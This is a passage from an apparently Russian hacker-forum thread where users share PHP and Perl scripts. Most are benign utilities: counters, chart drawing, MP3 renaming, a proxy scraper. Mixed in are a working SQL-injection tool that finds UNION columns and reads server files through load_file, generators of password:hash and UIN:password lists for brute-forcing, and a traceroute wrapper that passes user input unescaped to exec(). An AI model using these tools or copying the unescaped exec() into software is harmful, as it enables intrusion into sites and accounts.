if(!$link && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                if(!
mysql_select_db($mySQL_database) && ($ZarathuRulesTheUniverse)) { throwSQLError(); }
                if(!
$ZarathuRulesTheUniverse) { throwError(); }
                
                return 
$link;
            }
            
            function 
throwError() {
                die(
"Error! \n\n");
                
//if you really need a comment, here it is.
                //throws an error and exits
            
}
            
            function 
throwSQLError() {
                die(
"Error! \n\n(" mysql_error() .")");
                
//if you really need a comment, you're an idiot.
                //go fuck yourself.
            
}
            
        
?>
    </body>
</html>


7ion 26.11.2006 18:11

PHP код:

<?php 
$file
="count.txt";

if (!
file_exists($file))
 {
  
$fp fopen($file,"w");  
  
fputs ($fp,"0" );  
  } 
else 
  { 
  
$fp fopen($file,"r+"); 
  };
$numcountfread($fp,filesize($file));
fclose($fp);
$numcount++;
$fp fopen($file,"w"); 
fputs ($fp,$numcount);
 echo 
$numcount;
?>

небольшой пример текстового счетчика посещений.

Ch3ck 03.12.2006 02:55

Хм, конечно скриптом назвать нельзя, хотя авось кому-нить да и пригодится. Сегодня понадобилось хэши из всякой лабуды вытащить...
PHP код:

<?php 
  $text 
'Лабуда, разный текст Лабуда, разный текст 
          Лабуда, разный текст тЛабуда, разный текст текста=)b2f387d9ebc680e559bc48d029c6c0efПриведите Лабуда, разный текст b2f387d9ebc680e559bc48d029c6c0efЛабуда, разный текст пример текста=) Типо такого...'

  
$pattern "|[a-z0-9]{32}|is"
  
preg_match_all($pattern$text$out); 
  echo 
"<pre>"
  
print_r($out); 
  echo 
"</pre>"
?>


Slon 03.12.2006 12:41

Вот прикольный скрипт (переделывает имя MP3 файла из инфы в тэгах) полезно для спутниковой рыбалки, и сортировки музыки

Код:

use strict;

my ($d) = @ARGV;
$d = './' unless $d;

my @l= ();
die unless opendir(my $h, $d);
foreach(readdir $h)
{        next if /^\.+$/;
        push @l, $_ if /\.mp3$/i;
}
closedir $h;

my $c = 0;
foreach my $f (@l)
{       
        next unless open my $h, "<$d/$f";
        binmode $h;
        read $h, my $t, 3;
        my($a,$n) = ('','');

        if($t eq 'ID3')
        {        read $h, $t, 1000;
                if($t =~ /TIT2...(.)...(.*)/s)
                {        $n = substr $2, 0, -1+ord $1;
                }
                if($t =~ /TPE1...(.)...(.*)/s)
                {        $a = substr $2, 0, -1+ord $1;
                }
        }
        else
        {        seek $h, -128, 2;
                read $h, $t, 3;
                if($t eq 'TAG')
                {        read $h, $t, 128;
                        ($n,$a) = unpack "a30a30", $t;
                }
        }
        close $h;
        $n =~ s/[\0\s\r\n]+$//s;
        $a =~ s/[\0\s\r\n]+$//s;

        next if $a eq '';
        next if $n eq '';

        my $r = "$a - $n";

        $r =~ s/http:\/\///ig;

        $r =~ s/[\0-\39]//g;
        $r =~ s/[\\\/\:\*\?\"\<\>\|]/_/g;

        while($r =~ /\s\s/) { $r =~ s/\s\s/ /; }

        my $s = $r;
        $s =~ tr/\300-\377\260\261/\200-\257\340-\357\360\361/;
        printf "%s\n", $s;

        $r .= '.mp3';

        next if $r eq $f;

        while(-e "$d/$r") { $r =~ s/\.mp3$/_\.mp3/; }

        if(rename "$d/$f", "$d/$r") { $c++; }
        else { print "$f $!\n"; }
}
printf "renamed %d of %d\n", $c, scalar @l;

Вот подборщик кол-во union (вывод с load_file пока не доделал) запускать СКРИПТ.pl 1

Код:

#!/usr/bin/perl
#=========================================================================#
use LWP::UserAgent;
use Getopt::Std;
#=========================================================================#

#=========================================================================#
#=MAIN===================================================================#

print "\n AAAAAA OOOOOO H  H\n";
print " A    A O    O H  H\n";
print " AAAAAA O    O HHHHH\n";
print " A    A O    O H  H\n";
print " A    A OOOOOO H  H\n\n";

$filt=1; #only chars in resolt

my $www = LWP::UserAgent->new;

uss();

if(!$ARGV[0]) {

ans();
while (true)
        {
        print "\nNew file (^c for quit) ->";
        $f=<STDIN>;
        $f =~ s/\n//;
        enc(); #encode file
        burl();
        conn();
        getres();
        }

}
else
        {
        print "Url for brute-> "; $u=<STDIN>;
        $u =~ s/\n//;
        brute();
        }
       
#=END=MAIN============================================================#
#=======================================================================#


sub brute()
{
$max=20;
$res='';

for ($j=1;$j<$max;$j++)
{
        for ($i=1;$i<$j+1;$i++)
                {$utmp.=$i."26639-1,";}
               
        $utmp  = substr($utmp, 0, length ($utmp) - 1 );       
        $utmp  = $u." UNION SELECT ".$utmp."/*";

        if($coll=chk($utemp)) {$utmp =~ s\26639-1\\g; print("[+$j] OK! Coloun number $coll is visible\r\n$utmp"); exit(0);}
        else {print("[-$j] falure... ($szz Bytes)\r\n");}
        #print $utmp."\r\n";
       
        $utmp="";
}

}

sub chk()
{
$resp = $www  -> get( $utmp ) or die();
$szz=length($resp->content());
if ($resp->content() =~ /(\d+)26638/) {return($1);}
}

sub ans()
{
print "\nAnsver some questions ;)\r\n";
print "Url for union-> "; $u=<STDIN>;
print "Number of coloums -> "; $n=<STDIN>;
print "Coloum with union -> "; $c=<STDIN>;
$u =~ s/\n//;
$f =~ s/\n//;
}

sub enc()
{
for ($i=0;$i<length($f);$i++) {$enc .= ord(substr($f, $i,1 )).',';}
$enc  = substr($enc, 0, length ($enc) - 1 );
$f=$enc;
$enc='';
}

sub burl()
{
print "[~] File: $f\n";
$ur = $u; $tmp='';
for ($i=0;$i<$n;$i++)
        {
        if($i==$c-1) {
                                        $tmp.="load_file(char($f)),";
                                }
        else {$tmp.="0,";}
        }
$tmp  = substr($tmp, 0, length ($tmp) - 1 );
$ur.= "+union+select+$tmp/*";
print "[~] url: $ur\n";
}

sub conn ()
{
print "[~] Sending ...\n";
my $resp = $www  -> get( $ur );
$cont = $resp -> content();
}
 
sub getres()
{
$s="</b><br><br>";
$e="</p></p>";

$result;
#print $cont;
print "[~] Start: $s \n";
print "[~] End:  $e \n";
print "[~] Searching...\n ";
@stringz=split("\n",$cont);

for(@stringz)
{
if(/$e/) { $p = 0; }
 $result .= $_."\r\n" if $p;
if(/$s/){ $p = 1; }
}

$result =~ tr/a-zA-Z /a-zA-Z/d;

if($result) { print "[+] I found something! \n\n $result"; }
else {print "[-] Not found...\n ";}

$result='';
}


 
sub uss()
{
print 'AOH SQL INJECTION TOOL By AoH]Slon'."\n";
print 'Use aoh.pl 1 for brute colouns'."\n\n";
}


Ch3ck 19.12.2006 14:59

Вот мой небольшой пример создания секторных диаграмм:
PHP код:

<?php
define
("HEIGHT",200);
define("WIDTH",200);
$data=array(10,5,20,40,10,15);
$img=imagecreate(200200);
$background=$white=imagecolorallocate($img0xFF,0xFF,0xFF);
$black=imagecolorallocate($img000);
$center_x=(int)WIDTH/2;
$center_y=(int)HEIGHT/2;
imagerectangle($img00WIDTH-1HEIGHT-1$black);
$last=0;
foreach(
$data as $proc) {
$len=(360*$proc)/100;
imagefilledarc($img,
               
$center_x,
               
$center_y,
               
WIDTH-20,
               
HEIGHT-20,
               
$last,
               (
$last+$len),
               
$black,
               
IMG_ARC_EDGED IMG_ARC_NOFILL);
$last +=$len;
}
header("Content-Type: image/png");
imagepng($img);
?>

И вот "цветастая, красивая" объёмная круговая диаграмма. Если раскометировать пару тройку строк, то будем с легендой.:
PHP код:

<?

// $im - идентификатор изображения
// $VALUES - массив со значениями
// $LEGEND - массив с подписями
function Diagramm($im,$VALUES,$LEGEND) {
    GLOBAL 
$COLORS,$SHADOWS;

    
$black=ImageColorAllocate($im,0,0,0);

    
// Получим размеры изображения
    
$W=ImageSX($im);
    
$H=ImageSY($im);

    
// Вывод легенды #####################################

    // Посчитаем количество пунктов, от этого зависит высота легенды
    
$legend_count=count($LEGEND);

    
// Посчитаем максимальную длину пункта, от этого зависит ширина легенды
   
$max_length=0;
   
// foreach($LEGEND as $v) if ($max_length<strlen($v)) $max_length=strlen($v);

    // Номер шрифта, котором мы будем выводить легенду
   
$FONT=2;
    
$font_w=ImageFontWidth($FONT);
    
$font_h=ImageFontHeight($FONT);

    
// Вывод прямоугольника - границы легенды ----------------------------

    
$l_width=($font_w*$max_length)+$font_h+10+5+10;
    
$l_height=$font_h*$legend_count+10+10;


    
// Получим координаты верхнего левого угла прямоугольника - границы легенды
    
$l_x1=$W-10-$l_width;
   
// $l_y1=($H-$l_height)/2;

    // Выводя прямоугольника - границы легенды
   // ImageRectangle($im, $l_x1, $l_y1, $l_x1+$l_width, $l_y1+$l_height, $black);

    // Вывод текст легенды и цветных квадратиков
   // $text_x=$l_x1+10+5+$font_h;
   // $square_x=$l_x1+10;
   /// $y=$l_y1+10;
/*
    $i=0;
 foreach($LEGEND as $v) {
        $dy=$y+($i*$font_h);
        ImageString($im, $FONT, $text_x, $dy, $v, $black);
        ImageFilledRectangle($im,
                             $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
                             $COLORS[$i]);
        ImageRectangle($im,
                       $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
                       $black);
        $i++;
        }
*/
    // Вывод круговой диаграммы ----------------------------------------

    
$total=array_sum($VALUES);
    
$anglesum=$angle=Array(0);
    
$i=1;

    
// Расчет углов
    
while ($i<count($VALUES)) {
        
$part=$VALUES[$i-1]/$total;
        
$angle[$i]=floor($part*360);
        
$anglesum[$i]=array_sum($angle);
        
$i++;
        }
    
$anglesum[]=$anglesum[0];

    
// Расчет диаметра
    
$diametr=$l_x1-10-10;

    
// Расчет координат центра эллипса
    
$circle_x=($diametr/2)+10;
    
$circle_y=$H/2-10;

    
// Поправка диаметра, если эллипс не помещается по высоте
    
if ($diametr>($H*2)-10-10$diametr=($H*2)-20-20-40;

    
// Вывод тени
    
for ($j=20;$j>0;$j--)
        for (
$i=0;$i<count($anglesum)-1;$i++)
            
ImageFilledArc($im,$circle_x,$circle_y+$j,
                               
$diametr,$diametr/2,
                               
$anglesum[$i],$anglesum[$i+1],
                               
$SHADOWS[$i],IMG_ARC_PIE);

    
// Вывод круговой диаграммы
    
for ($i=0;$i<count($anglesum)-1;$i++)
        
ImageFilledArc($im,$circle_x,$circle_y,
                           
$diametr,$diametr/2,
                           
$anglesum[$i],$anglesum[$i+1],
                           
$COLORS[$i],IMG_ARC_PIE);
    }
$an=0;
$an1=1;
$an2=2;
$an3=3;
$an4=4;
$an5=5;
$an6=6;
// Зададим значение и подписи
$VALUES=Array($an,$an1,$an2,$an3,$an4,$an5,$an6);
$LEGEND=Array("Пон","Вт","Ср","Чет","Пят","Суб","AS");

// Создадим изображения
header("Content-Type: image/png");
$im=ImageCreate(300,300);  // размеры

// Зададим цвет фона.
$bgcolor=ImageColorAllocate($im,255,255,255);

// Зададим цвета элементов
$COLORS[0] = imagecolorallocate($im2552033);
$COLORS[1] = imagecolorallocate($im22010129);
$COLORS[2] = imagecolorallocate($im1892451);
$COLORS[3] = imagecolorallocate($im2140127);
$COLORS[4] = imagecolorallocate($im98196);
$COLORS[5] = imagecolorallocate($im062136);
$COLORS[6] = imagecolorallocate($im0102179);
$COLORS[7] = imagecolorallocate($im0145195);

// Зададим цвета теней элементов
$SHADOWS[0] = imagecolorallocate($im2051530);
$SHADOWS[1] = imagecolorallocate($im170510);
$SHADOWS[2] = imagecolorallocate($im13901);
$SHADOWS[3] = imagecolorallocate($im164077);
$SHADOWS[4] = imagecolorallocate($im48046);
$SHADOWS[5] = imagecolorallocate($im01286);
$SHADOWS[6] = imagecolorallocate($im052129);
$SHADOWS[7] = imagecolorallocate($im095145);


// Вызов функции рисования диаграммы
Diagramm($im,$VALUES,$LEGEND);

// Генерация изображения
ImagePNG($im)
?>


blaga 21.12.2006 15:50

Скрипт для добавления картинок на сайт(ваш естессно). Что он умеет:
Вначале конечно инсталятор. Создает таблицы в базе, пишет конфиг.
Затем само добавление. Во первых скрипт создает сам таблицы по категориям. Если нужно изменить категории то в сорцах все легко меняется. При добавлении, добавляет в базу свое непосредственное имя, имя которое будет отображаться на сайте(например "Супер тачка"), разрешение(1024х768), вес(300Бт, 214Кб, 1,2Мб), дату добавления и имя того кто добавил.
Все параметры кроме пути к файлу и имени заполняются автоматом. Изображение копируется на сервер, на него наносятся две строчки(маленькие) с адресом сайта(нужно править в сорцах вручную). Так же создается превью. у превью точно такое же имя что и у оригинальной картинки, поэтому для его вывода стоит выводить имя оригинальной картинки. Соответственно большие картинки хранятся в папке img а маленькие в th Из фичей в нем стоит фильтр на загрузку только изображений(проверяет тип). И есть функция для правильного размера файла. Тоесть будет отображаться например 256kb, 1,2mb и так далее. Скрипт делал для себя так что извиняйте, функционал не очень. Собственно скачать. http://myreferat.jino-net.ru/add.rar

TANZWUT 27.12.2006 16:04

генератор по нужным нам символам, в данном случае пасс:хеш(md5). поидее легко беределать под брутилку и т.д. и т.п.
Автор Hidden
PHP код:

<?php
@set_time_limit(0);
$charset='0123456789abcdefghijklmnopqrstuvwxyz~!@#$%^&*()_+=-`"№;:?';
$minlen=1
$maxlen=4
$file=log;

function 
inc(&$arr,$charset){
  for(
$n=count($arr)-1;$n>=0;$n--){
    
$v=$arr[$n]+1;
    
$arr[$n]=$v%strlen($charset);
    if(
$arr[$n]==$v){
      break;
    }
  }
  foreach(
$arr as $val){
    if(
$val<strlen($charset)-1) return 0;
  }
  return -
1;
}

function 
arr2str($arr,$charset){
  
$ret='';
  foreach(
$arr as $val){
    
$ret.=$charset[$val];
  }
  return 
$ret;
}
$f fopen$file"w" );
for(
$len=$minlen;$len<=$maxlen;$len++){
  
$line=array();
  for(
$n=0;$n<$len;$n++){
    
$line[]=0;
  }
  
$ret=0;
  while(
$ret==0){
    
$ret=inc($line,$charset);
    
$str=arr2str($line,$charset);
echo 
$str.':'.md5($str)."\r\n";
fputs$f$str.':'.md5($str)."\r\n");

  }
}
fclose$f );
?>


TANZWUT 27.12.2006 16:06

PHP код:

<?php

if (isset($HTTP_GET_VARS["dictgen"]))
{
if (!isset( 
$HTTP_GET_VARS["listfile"] )) exit( "listfile not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["from"] )) exit( "from not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["to"] )) exit( "to not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["pass"] )) exit( "pass not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["mode"] )) exit( "mode not specified\r\n" );

$fname $HTTP_GET_VARS["listfile"];
$min $HTTP_GET_VARS["from"];
$max $HTTP_GET_VARS["to"];
$pass $HTTP_GET_VARS["pass"];
$mode $HTTP_GET_VARS["mode"];

switch (
$mode) :
case 
"a" :
$f fopen$fname"a" );
break;

case 
"w" :
$f fopen$fname"w" );
break;

default :
{
print 
"What about mode ? a (append) or w (rewrite) ?\r\n";
}
endswitch;

$f_pass fopen$pass"r" );

while (
$l fgets$f_pass50 )) :
$l str_replace"\r\n"""$l );
for (
$i $min$i <= $max$i += 1):
fputs$f$i.";".$l."\r\n" );
endfor;
endwhile;

fclose$f );
fclose$f_pass );

if (
$mode == "w")
print 
"Rewrite: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass;
else
print 
"Append: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass;

exit;
}

else

if (isset(
$HTTP_GET_VARS["singlegen"]))
{
if (!isset( 
$HTTP_GET_VARS["listfile"]) ) exit( "listfile not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["from"]) ) exit( "from not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["to"]) ) exit( "to not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["pass"]) ) exit( "pass not specified\r\n" );
if (!isset( 
$HTTP_GET_VARS["mode"]) ) exit( "mode not specified\r\n" );

$fname $HTTP_GET_VARS["listfile"];
$min $HTTP_GET_VARS["from"];
$max $HTTP_GET_VARS["to"];
$pass $HTTP_GET_VARS["pass"];
$mode $HTTP_GET_VARS["mode"];

switch (
$mode) :
case 
"a" :
$f fopen$fname"a" );
break;

case 
"w" :
$f fopen$fname"w" );
break;

default :
{
print 
"What about mode ? a (append) or w (rewrite) ?\r\n";
}
endswitch;

for (
$i $min$i <= $max$i += 1):
fputs$f$i.";".$pass."\r\n" );
endfor;

fclose$f );

if (
$mode == "w")
print 
"Rewrite: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass;
else
print 
"Append: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass;

exit;
}
?>

Генератор UIN:PASS листа, автор KEZ если не ошибаюсь..

Dracula4ever 04.01.2007 23:10

Это PHP скрипт, который включает следующи утилиты: whois, finger, и traceroute.


PHP код:

<?PHP
// whois(hostname [,username, [port]])
Function whois ($a_server$a_query=""$a_port=43) {
    
$sock fsockopen($a_server$a_port, &$errno, &$errstr10);
    if (!
$sock)
    {
        echo 
"$errstr ($errno)<BR>\n";
    } else {
        
fputs($sock"$a_query\r\n");
        while(!
feof($sock))
        {
            
$buf fgets($sock,128);
            if (
ereg"Whois Server:"$buf))
            {
                
$a_server str_replace"Whois Server: ",  ""$buf);
                
$a_server trim($a_server);
            }
        }
        
fclose($sock);
        
        if (
$a_server)
        {
            print 
"<B>$a_query is registered at $a_server:</B><BR>";
            
$sock fsockopen($a_server43, &$errno, &$errstr10);
            if(!
$sock)
            {
                echo 
"Could not open connection to $a_server on port 
$a_port.\n";
                echo 
"$errstr ($errno)<BR>\n";
            } else {
                
fputs($sock"$a_query\r\n");
                while(!
feof($sock))
                {
                   echo 
fgets($sock,128);
                }
                
fclose($sock);
            }
        } else {
            echo 
"<b>$a_query was not found.</b><BR>";
        }
    }
}


// finger(hostname [,username, [port]])
Function finger ($a_server$a_query=""$a_port=79) {
    
$sock=fsockopen($a_server,$a_port, &$errno, &$errstr10);
   if (!
$sock)
   {
        
$ret_str "$errstr ($errno)<BR>\n";
   } else {
        
fputs($sock,"$a_query\n");
        while (!
feof($sock)) { $ret_str .= fgets($sock,128); }
        
fclose($sock);
    }
    echo 
$ret_str;
    return 
$ret_str;
}


// traceroute(hostname)
Function traceroute ($a_query) {
    
exec("traceroute $a_query",$ret_strs);
    
$str_count count($ret_strs);
    for (
$count=0$count $str_count$count++)
        print 
"$count/$str_count".$ret_strs[$count]."\n";
}


// -----------------------------------------------------------


$app_name "PHP Net Toolpack";
$app_version "0.1";

$TOOLS = array(
    
"finger" => "Finger",
    
"traceroute" => "Traceroute",
    
"whois" => "Whois?"
);

// when included inside <select name="tool"> on a html file ..
if ($tool=="listtools")
{
    while (list(
$key$val) = each($TOOLS)) {
        print 
"    <OPTION VALUE=\"".$key."\">".$val."</OPTION>\n";
    }
    exit;
}

// print appropriate html header
print "<HTML>";
if (
$tool)
{
    print 
"<HEAD><TITLE>".$tool." for ".$query."</TITLE></HEAD>\n";
    print 
"<BODY>\n<H3>".$tool." for ".$query." ..</H3>\n";
} else {
    print 
"<HEAD><TITLE>".$app_name."</TITLE></HEAD>\n";
    print 
"<BODY>\n<H3>".$app_name."</H3>\n";
}

// check what tool they want to use and do what is necessary
switch($tool) {
case 
"finger":
    if (
$query)
    {
        print 
"<PRE>\n";
        
finger($server$query);
        print 
"</PRE>";
    } else {
   
?>

   <FORM ACTION="<?PHP echo($PHP_SELF"?tool=".$tool); ?>" METHOD="post">
   Server : <INPUT TYPE="text" NAME="server" VALUE="localhost"> <BR>
   Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
   <INPUT TYPE="submit" VALUE="Finger">
   </FORM>

   <?PHP
    
}
    break;

case 
"traceroute":
    if (
$query)
    {
        print 
"<PRE>\n";
        
traceroute($query);
        print 
"</PRE>";
    } else {
   
?>

   <FORM ACTION="<?PHP echo($PHP_SELF"?tool=".$tool); ?>" METHOD="post">
   Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
   <INPUT TYPE="submit" VALUE="Trace route">
   </FORM>

   <?PHP
    
}
    break;


case 
"whois":
    if (
$query)
    {
        print 
"<PRE>\n";
        
whois($server,$query);
        print 
"</PRE>";
    } else {
    
?> 

    <!--    <UL>
    To look up a NIC handle, host name, or registrant,
    use one of the keywords below:<BR>
    <LI>To search by NIC handle (or contact), type "handle WA3509"</LI><BR>
    <LI>To search by name, type "name lastname, firstname" </LI><BR>
    <LI>To search by company name, type "name The Sample Corporation" </LI><BR>
    <LI>To search by domain name, type "example.com" </LI><BR>
    <LI>To search by IP address, type "host 121.23.2.7" </LI><BR>
    <LI>To search by host or nameserver name, type "host ns1.worldnic.com" 
</LI><BR>
    (examples are from networksolutions.com)
    </UL> -->

    <FORM ACTION="<?PHP echo($PHP_SELF"?tool=".$tool); ?>" METHOD="post">
    This will find .com, .org, and .net domains<BR>
    Server : <INPUT TYPE="text" NAME="server" VALUE="rs.internic.net"> <BR>
    Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
    <INPUT TYPE="submit" VALUE="<?PHP echo $TOOLS[$tool]; ?>">
    </FORM>

    <?PHP
    
}
    break;

default:
    print 
"<UL>Currently supported tools are:\n";
    while (list(
$key$val) = each($TOOLS)) {
        echo 
"<LI><A HREF=\"".$PHP_SELF."?tool=".$key."\">".$val."</A></LI>\n";
    }
    print 
"</UL>\n";
    break;
}

print 
"\n<HR><SMALL>".$app_name." v".$app_version."</SMALL>\n";
print 
"<BODY>\n</HTML>";

?>


p-range 12.01.2007 11:33

Мой скрипт для скачивания файла с одного сервера на фтп другого

Код:

<?php
echo '<html>
<head>
<title></title>
<style>
body
{
        background-color: #1a1a1a;
}
table
{
        border: 1px #333333 solid;
}
td,th
{
        font-size: 10px;
        font-family: verdana, tahoma;
        color: #666666;
        background-color: #1a1a1a;
        border: 0px #333333 solid;
}
input
{
        font-family: verdana, tahoma;
        font-size: 10px;
        color: grey;
        background-color: #1a1a1a;
        border: 1px #333333 solid;
}
a
{
        font-size: 10px;
        text-decoration: none;
        color: grey;
}
</style>
</head>
<table border="0" width="600" align="center">
<form action="" method="post">
<tr>
<td colspan="2" align="center">
<b>Скрипт для скачивания файла с одного сервера на фтп другого</b>
</td>
</tr>
<tr>
<td colspan="2" align="center"><b>Основные настройки</b></td>
</tr>
<tr>
<td>Файл для скачивания</td>
<td><input type="text" name="file" size="50" value="file.sql"></td>
</tr>
<tr>
<td>Путь до директории с файлом относительно сайта</td>
<td><input type="text" name="path" size="50" value="/downloads"></td>
</tr>
<tr>
<td>Хост, с которого будем сливать файл</td>
<td><input type="text" name="host" size="50" value="server.ru"></td>
</tr>
<tr>
<td colspan="2" align="center"><b>Настройки FTP</b></td>
</tr>
<tr>
<td>FTP хост, на который будем заливать файл</td>
<td><input type="text" name="ftphost" size="50" value="ftp.server.ru"></td>
</tr>
<tr>
<td>FTP логин</td>
<td><input type="login" name="login" size="50" value="ftpuser"></td>
</tr>
<tr>
<td>FTP пароль</td>
<td><input type="pass" name="pass" size="50" value="ftppass"></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Отправить"></td>
</tr>
<tr>
<td colspan="2" align="center">
Coded by <b>p-range</b> - <a href="http://cf-team.net">cf-team.net</a>,
<a href="http://p-range.info">p-range.info</a></td>
</tr>
</form>
</table>';
if(isset($_POST['file']) && isset($_POST['path'])
        && isset($_POST['host']) && isset($_POST['ftphost'])
        && isset($_POST['login']) && isset($_POST['pass']))
{
$file = $_POST['file']; // файл для скачивания
$path = $_POST['path']; // путь до директории с файлом относительно сайта
$host = $_POST['host']; // Хост, с которого будем сливать файл
$ftphost = $_POST['ftphost']; // FTP хост, на который будем заливать файл
$login = $_POST['login']; // FTP логин
$pass = $_POST['pass']; // FTP пароль
// открыли соединение
$so = fsockopen($host, 80, &$errno, &$errstr, 30);
// послали GET форму (простой URL + указание вирт. хоста)
fputs($so,"GET $path/$file HTTP/1.0\nHOST: $host\n\n");

// читаем все, пока не наступит "конец заголовка" (т.е. начало документа)
// если наступит, то со след. байта начнется документ
while(fgets($so,2048)!="\r\n" && !feof($so));

unset($buf);
// читаем документ в переменную
while(!feof($so)) $buf.=fread($so,2048);
// Готово. В переменной $buf храниться скаченный документ (т.е. файл)
// Максимум можно читать порциями по 64K-1байт

// закрываем сокет
fclose($so);
echo "Download file, size ".strlen($buf)." bytes.<br>"; flush();

// используем скаченный файл (в переменной) по назначению...
$f=fopen($file,"wb+");
fwrite($f,$buf,strlen($buf));
fclose($f);

$ftp = ftp_connect($ftphost);
if($ftp)
{
        @$res = ftp_login($ftp,$login,$pass);
        if($res)
        {
                $fp = fopen($file, "r");
                $fput = ftp_fput($ftp, $file, $fp, FTP_BINARY);
                fclose($fp);
                if(!$fput)
                {
                        echo "<font color='#cc1233'>Error transfering</font>";
                        ftp_quit($ftp);
                }
                else
                {
                        echo "<font color='#666666'>Success transfering <b>".$file."</b></font>";
                }
        }
        else
        {
                echo "<font color='#cc1233'>Error login</font>";
                ftp_quit($ftp);       
        }
}
}
?>

Скачать можно отсюда:
http://p-range.info/pub/transfer.zip

GHostly_FOX 13.01.2007 09:51

На форуме Хакер.РУ была тема по блокировки копирования изображения с сайта (ну конечно от ПринтСкрина ничто не спасет но все-же)... Вот мой код для решения этой проблеммы:

Это код который будет использоватся на сайте для отображения изображения:
PHP код:

<div style="position: relative; width: 480px">
<
table width="480" height="324" cellspacing="0" cellpadding="0" style="position: absolute; color: #F0F0F0"><tr>
<
td style="padding: 10px 10px;" align="left" valign="top">
Тут некоторый текстк примеру описание
</td>
</
tr></table>
<
img src="images.php?f=1" width="480" height="324">
</
div

А вот код файла images.php

PHP код:

<?php
/*Тут организовать подключение к базе MySQL*/
$width=(isset($_GET['w']))?$_GET['w']:0;
$height=(isset($_GET['h']))?$_GET['h']:0;
$sql    =    mysql_query("SELECT * FROM images WHERE id='".$_GET['f']."'");//$_GET['f'] в данном случае служит как номер изображения в базе
$res    =    mysql_fetch_array($sql);
$ffile    =    $res['images'];
header('(anti-spam-content-type:) image/jpeg');
list(
$widthorig$heightorig) = getimagesize($ffile);
if(!
$width && !$height){
    
$width    =    $widthorig;
    
$height    =    $heightorig;
}
if(
$width && !$height){
    
$width    =    ($width $widthorig) ? $widthorig $width;
    
$height    =    ($width $widthorig) ? $heightorig : ($heightorig $widthorig) * $width;
}
if(
$height && !$width){
    
$height    =    ($height $heightorig) ? $heightorig $height;
    
$width    =    ($height $heightorig) ? $widthorig : ($widthorig $heightorig) * $height;
}
$extn=explode(".",$ffile);
$i=count($extn);
$ext=strtolower($extn[$i-1]);
$imagep imagecreatetruecolor($width$height);
if(
$ext=="jpg")$image=imagecreatefromjpeg($ffile);
if(
$ext=="png")$image=imagecreatefrompng($ffile);
if(
$ext=="gif")$image=imagecreatefromgif($ffile);
imagecopyresampled($imagep$image0000$width$height$widthorig$heightorig);
imagejpeg($imagepnull100);
?>

(C) Для создания кода иследовался код сайта www.drive.ru и PHP Class Resize взятый с сайта: phpclasses.segmenta.ru

NOmeR1 14.01.2007 12:12

Image to TEXT :)

nc.STRIEM 14.01.2007 16:04

Парсер проксей с сайта http://proxy4free.com
Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity.
Пример работы скрипта: http://striem.org/proxy/
PHP код:

<?
/*    www.proxy4free.com  -  GRABER     (c) nc.STRIEM*/
$transparent=array();
$anonymous=array();
$high_anonymity=array();
echo 
"<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
function 
parsproxy($res)
{
  global 
$fr,$transparent,$anonymous,$high_anonymity,$elsepr;
  
$strtof='<tr bgcolor="#ffffff" class="text" height=10>';
  
$razd=':';
  
$razm=sizeof($res);
  for(
$i=0;$i<$razm;$i++)
  { 
     if(
strstr($res[$i],$strtof))
     {
         
$i++;
         
$p=split('>',$res[$i]);
         
$p=split('<',$p[1]);
         
$proxres=$p[0].$razd;
         
$i++;
         
$p=split('>',$res[$i]);
         
$p=split('<',$p[1]);
         
$proxres.=$p[0];
         
$i++;
         
$p=split('>',$res[$i]);
         
$p=split('<',$p[1]);
         if(
strstr($p[0],"anonymous"))
           
$anonymous[sizeof($anonymous)]=$proxres;
         elseif(
strstr($p[0],"high"))
           
$high_anonymity[sizeof($high_anonymity)]=$proxres;
         else 
$transparent[sizeof($transparent)]=$proxres;
       }
  }
}
 
 
$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!
feof($fs))
   
$ans.=fgets($fs); 
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!
feof($fs))
   
$ans.=fgets($fs); 
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

$fs=fsockopen("www.proxy4free.com",80);
fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
$ans='';
while(!
feof($fs))
   
$ans.=fgets($fs); 
$res=split("\n",$ans);
parsproxy($res);
fclose($fs);

  
$fo=fopen("proxy.txt","w");
echo 
"<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>"
   for(
$i=0;$i<sizeof($transparent);$i++)
       {
fwrite($fo,$transparent[$i]."\n");
       echo 
$transparent[$i]."<br>";}
echo 
"</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";  
    for(
$i=0;$i<sizeof($anonymous);$i++)
    {
fwrite($fo,$anonymous[$i]."\n");
        echo 
$anonymous[$i]."<br>";}
echo 
"</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>"
    for(
$i=0;$i<sizeof($high_anonymity);$i++)
        {
fwrite($fo,$high_anonymity[$i]."\n");
        echo 
